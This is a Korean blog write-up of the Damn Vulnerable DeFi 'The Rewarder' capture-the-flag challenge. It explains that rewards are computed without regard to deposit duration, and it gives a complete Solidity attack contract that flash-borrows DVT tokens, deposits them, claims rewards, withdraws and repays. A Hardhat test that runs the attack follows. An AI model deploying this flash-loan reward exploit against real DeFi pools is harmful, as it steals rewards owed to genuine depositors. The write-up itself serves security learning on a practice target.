There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it.
Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
By the way, rumours say a new pool has just launched. Isn’t it offering flash loans of DVT tokens?
The Challange
이 챌린지에는 DVT 토큰을 입금한 사람들에게 5일마다 토큰 보상을 제공하는 풀이 있다. 이 문제에서는 DVT 토큰이나 LP 토큰이 없어도 DVT 토큰으로 flashloan을 제공하는 기능이 있다. 간단히 contract를 보자.
The Contracts
- RewardToken.sol:
- ERC-20 토큰입니다.
- Minter 역할이 있습니다.
- 소유자는 토큰을 발행할 수 있다.
- AccountingToken.sol:
- Minter, Snapshot 및 Burner와 같은 다양한 Role이 있다.
- ERC-20 스냅샷을 사용하여 다양한 시점의 잔액과 공급량을 기록한다.
- transfer과 approve는 불가능하다.
- FlashLoanerPool.sol:
- DVT 토큰으로 플래시 대출을 제공합니다.
- 요청한 대출 금액이 풀 잔액을 초과하지 않는지 확인하는 로직이 있다.
- receiveFlashLoan로 payback을 받는다.
- TheRewarderPool.sol:
- 흔히 말하는 LP역할이다.
- 스냅샷 기록, 보상 분배, 입출금 처리를 담당하는 계약이다.
- 우리는 여기서 취약점을 찾아 보상 메커니즘을 악용해야한다.
- deposit : 사용자가 pool에 토큰을 예치하는 함수이다. amountToDeposit만큼 liqudity token을 예치하고, 같은 양인 account token을 받는다. round가 돌아오면 이자인 reward token도 받는다.
- withdraw : 출금 함수이다. amountToWithdraw만큼 출금하고 account token을 소각한다.
- distributeRewards : account token의 전체 발행량과 사용자의 소유 비율로 결정된다. 5일에 한 번씩 지급된다.
The Vulnerability
보상의 계산 방식이 시간과 관계없이 계산된다. 이는 공격자가 거래에서 유동성을 소유한 후 바로 유동성에 대한 reward를 제공받는다. flashloan을 활용하여 거래에 유동성을 제공하고, 보상을 받을 수도 있다.
- FlashLoanPool로부터 대출
- TheRewarderPool에 입금하여 유동성 획득
- reward 받음
- 유동성 회수
- 다시 flashloan한 것을 payback
DVT 토큰의 플래시론을 받고 TheRewarderPool에 스테이킹하고 보상을 얻은 다음 토큰을 인출하고 대출금을 갚으면 된다.
한 번 코드를 작성해보자.
attackTheRewarder.sol
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./RewardToken.sol";
interface IFlashloanPool {
function flashLoan(uint256 amount) external;
}
interface IRewardPool {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function distributeRewards() external;
}
contract attackTheRewarder {
IFlashloanPool immutable flashLoanPool;
IRewardPool immutable rewardPool;
IERC20 immutable liquidityToken;
IERC20 immutable rewardToken;
address immutable player;
constructor( address _flashloanPool, address _rewardPool, address _liquidityToken, address _rewardToken) {
flashLoanPool = IFlashloanPool(_flashloanPool);
rewardPool = IRewardPool(_rewardPool);
liquidityToken = IERC20(_liquidityToken);
rewardToken = IERC20(_rewardToken);
player = msg.sender;
}
function flashloanAttack() external {
flashLoanPool.flashLoan(liquidityToken.balanceOf(address(flashLoanPool)));
}
function receiveFlashLoan(uint256 amount) external {
liquidityToken.approve(address(rewardPool), amount);
rewardPool.deposit(amount);
rewardPool.distributeRewards();
rewardPool.withdraw(amount);
liquidityToken.transfer(address(flashLoanPool), amount);
rewardToken.transfer(player, rewardToken.balanceOf(address(this)));
}
}
flahsloanAttack() : DVT 토큰 플래시 대출 수행- receiveFlashLoan() : 보상 메커니즘에 참여하기 위해 대출받은 토큰을 보상자 풀에 입금 후, distributeRewards() 함수를 호출하여 보상을 획득하고, 출금한다. 그 후 flashloan 받은 금액을 payback한다.
이를 통해 처음에 토큰이 없어도, 보상을 획득할 수 있다.
it('Execution', async function () {
await ethers.provider.send("evm_increaseTime", [5 * 24 * 60 * 60]); // 5 days
this.attackerContract = await (await ethers.getContractFactory("attackTheRewarder", player)).deploy(
flashLoanPool.address, rewarderPool.address, liquidityToken.address, rewardToken.address
)
await this.attackerContract.flashloanAttack();
});
시간을 빠르게 지나게 하고, 공격을 시행한다.

Review
처음에 보자마자 어? 이거 그냥 flashloan 받아서 유동성 풀에 입금해서 토큰 받으면 되는거 아닌가?라고 생각을 했었지만 근거가 없었다. 그래서 먼저 보상 계산 방식을 보니 시간과 연관이 없는 것이였다. 그럼 실제로 코드를 5일을 돌려야하나?ㅋㅋ이렇게 생각했는데 마침 test code에 evm_increaseTime이라는게 제공이 되어서 이걸로 5일 돌리고 공격하면 되겠네? 싶었었다. 또한 deposit 함수 내부에 보상을 계산하는 함수가 있어 위 로직이 딱 잘 맞아 떨어질 수 있었다. 감이 잘 맞아 떨어져서 쉽게 풀었던 것 같다.
'Blockchain' 카테고리의 다른 글
Damn Vulnerable DeFi Challenge #7 - Compromised (0) | 2024.07.06 |
---|---|
Damn Vulnerable DeFi Challenge #6 - Selfie (0) | 2024.07.05 |
LayerZero 1-Day Analysis (0) | 2024.06.16 |
LZ Case Analyze (0) | 2024.05.27 |
Damn Vulnerable DeFi Challenge #4 - Side Entrance (0) | 2024.05.19 |